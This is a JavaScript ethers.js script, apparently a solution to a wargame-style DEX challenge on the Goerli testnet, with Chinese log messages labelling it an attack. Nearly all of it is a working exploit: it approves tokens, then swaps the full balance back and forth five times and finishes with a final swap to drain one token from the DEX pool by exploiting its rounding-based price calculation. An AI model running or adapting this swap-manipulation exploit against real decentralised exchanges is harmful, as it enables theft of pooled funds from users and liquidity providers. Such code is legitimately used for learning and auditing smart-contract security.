1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
| const {ethers} = require("ethers")
const provider = ethers.getDefaultProvider("https://eth-goerli.g.alchemy.com/v2/????????????????"); async function y(){ var DexAddress = '0x22043141CD8E47CE953F4e1BdC15eD7af8a90e9E' var DexAbi = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"token_address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getSwapPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token1","type":"address"},{"internalType":"address","name":"_token2","type":"address"}],"name":"setTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]' const privateKey = '????????????????????????????????' const wallet = new ethers.Wallet(privateKey, provider) const DexContract = new ethers.Contract(DexAddress, DexAbi, wallet)
const token1Address = await DexContract.token1() const token2Address = await DexContract.token2() console.log(`token1的地址${token1Address}`) console.log(`token2的地址${token2Address}`)
const balance1 = await DexContract.balanceOf(token1Address,DexAddress) const balance2 = await DexContract.balanceOf(token2Address,DexAddress) console.log(`攻击之前,Dex中的token1余额为:${balance1.toString()}`) console.log(`攻击之前,Dex中的token2余额为:${balance2.toString()}`)
const myAddress = await wallet.address
const balance3 = await DexContract.balanceOf(token1Address,myAddress) const balance4 = await DexContract.balanceOf(token2Address,myAddress) console.log(`攻击之前,Dex中我的token1余额为:${balance3.toString()}`) console.log(`攻击之前,Dex中我的token2余额为:${balance4.toString()}`)
var IERC20Abi = '[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]' const token1Contract = new ethers.Contract(token1Address, IERC20Abi, wallet) var approve1 = await token1Contract.approve(DexAddress,99999) await approve1.wait() console.log('给Dex授权token1完成') const token2Contract = new ethers.Contract(token2Address, IERC20Abi, wallet) var approve2 = await token2Contract.approve(DexAddress,99999) await approve2.wait() console.log('给Dex授权token2完成') console.log('开始进行swap')
var balanceIn1 = await token1Contract.balanceOf(myAddress) var tx1 = await DexContract.swap(token1Address,token2Address,parseInt(balanceIn1.toString())) await tx1.wait() console.log('========【第1次swap完成】=======') const swap_token1_1 = await DexContract.balanceOf(token1Address,DexAddress) const swap_token2_1 = await DexContract.balanceOf(token2Address,DexAddress) console.log(`攻击之后,Dex中的token1余额为:${swap_token1_1.toString()}`) console.log(`攻击之后,Dex中的token2余额为:${swap_token2_1.toString()}`)
const swap_token3_1 = await DexContract.balanceOf(token1Address,myAddress) const swap_token4_1 = await DexContract.balanceOf(token2Address,myAddress) console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_1.toString()}`) console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_1.toString()}`)
var balanceIn2 = await token2Contract.balanceOf(myAddress) var tx2 = await DexContract.swap(token2Address,token1Address,parseInt(balanceIn2.toString())) await tx2.wait() console.log('========【第2次swap完成】=======') const swap_token1_2 = await DexContract.balanceOf(token1Address,DexAddress) const swap_token2_2 = await DexContract.balanceOf(token2Address,DexAddress) console.log(`攻击之后,Dex中的token1余额为:${swap_token1_2.toString()}`) console.log(`攻击之后,Dex中的token2余额为:${swap_token2_2.toString()}`)
const swap_token3_2 = await DexContract.balanceOf(token1Address,myAddress) const swap_token4_2 = await DexContract.balanceOf(token2Address,myAddress) console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_2.toString()}`) console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_2.toString()}`)
var balanceIn3 = await token1Contract.balanceOf(myAddress) var tx3 = await DexContract.swap(token1Address,token2Address,parseInt(balanceIn3.toString())) await tx3.wait() console.log('========【第3次swap完成】=======') const swap_token1_3 = await DexContract.balanceOf(token1Address,DexAddress) const swap_token2_3 = await DexContract.balanceOf(token2Address,DexAddress) console.log(`攻击之后,Dex中的token1余额为:${swap_token1_3.toString()}`) console.log(`攻击之后,Dex中的token2余额为:${swap_token2_3.toString()}`)
const swap_token3_3 = await DexContract.balanceOf(token1Address,myAddress) const swap_token4_3 = await DexContract.balanceOf(token2Address,myAddress) console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_3.toString()}`) console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_3.toString()}`)
var balanceIn4 = await token2Contract.balanceOf(myAddress) var tx4 = await DexContract.swap(token2Address,token1Address,parseInt(balanceIn4.toString()),{ gasLimit: 21000000, gasPrice: 50000000000 }) await tx4.wait() console.log('========【第4次swap完成】=======') const swap_token1_4 = await DexContract.balanceOf(token1Address,DexAddress) const swap_token2_4 = await DexContract.balanceOf(token2Address,DexAddress) console.log(`攻击之后,Dex中的token1余额为:${swap_token1_4.toString()}`) console.log(`攻击之后,Dex中的token2余额为:${swap_token2_4.toString()}`)
const swap_token3_4 = await DexContract.balanceOf(token1Address,myAddress) const swap_token4_4 = await DexContract.balanceOf(token2Address,myAddress) console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_4.toString()}`) console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_4.toString()}`)
var balanceIn5 = await token1Contract.balanceOf(myAddress) var tx5 = await DexContract.swap(token1Address,token2Address,parseInt(balanceIn5.toString()),{ gasLimit: 21000000, gasPrice: 50000000000 }) await tx5.wait() console.log('========【第5次swap完成】=======') const swap_token1_5 = await DexContract.balanceOf(token1Address,DexAddress) const swap_token2_5 = await DexContract.balanceOf(token2Address,DexAddress) console.log(`攻击之后,Dex中的token1余额为:${swap_token1_5.toString()}`) console.log(`攻击之后,Dex中的token2余额为:${swap_token2_5.toString()}`)
const swap_token3_5 = await DexContract.balanceOf(token1Address,myAddress) const swap_token4_5 = await DexContract.balanceOf(token2Address,myAddress) console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_5.toString()}`) console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_5.toString()}`)
var tx_complete = await DexContract.swap(token2Address,token1Address,45,{ gasLimit: 2100000, gasPrice: 50000000000 }) await tx_complete.wait() console.log('========【攻击完成】=======')
const token1AfterAttack = await DexContract.balanceOf(token1Address,DexAddress) const token2AfterAttack = await DexContract.balanceOf(token2Address,DexAddress) console.log(`攻击之后,Dex中的token1余额为:${token1AfterAttack.toString()}`) console.log(`攻击之后,Dex中的token2余额为:${token2AfterAttack.toString()}`)
const myToken1AfterAttack = await DexContract.balanceOf(token1Address,myAddress) const myToken2AfterAttack = await DexContract.balanceOf(token2Address,myAddress) console.log(`攻击之后,Dex中我的token1余额为:${myToken1AfterAttack.toString()}`) console.log(`攻击之后,Dex中我的token2余额为:${myToken2AfterAttack.toString()}`)
} y()
|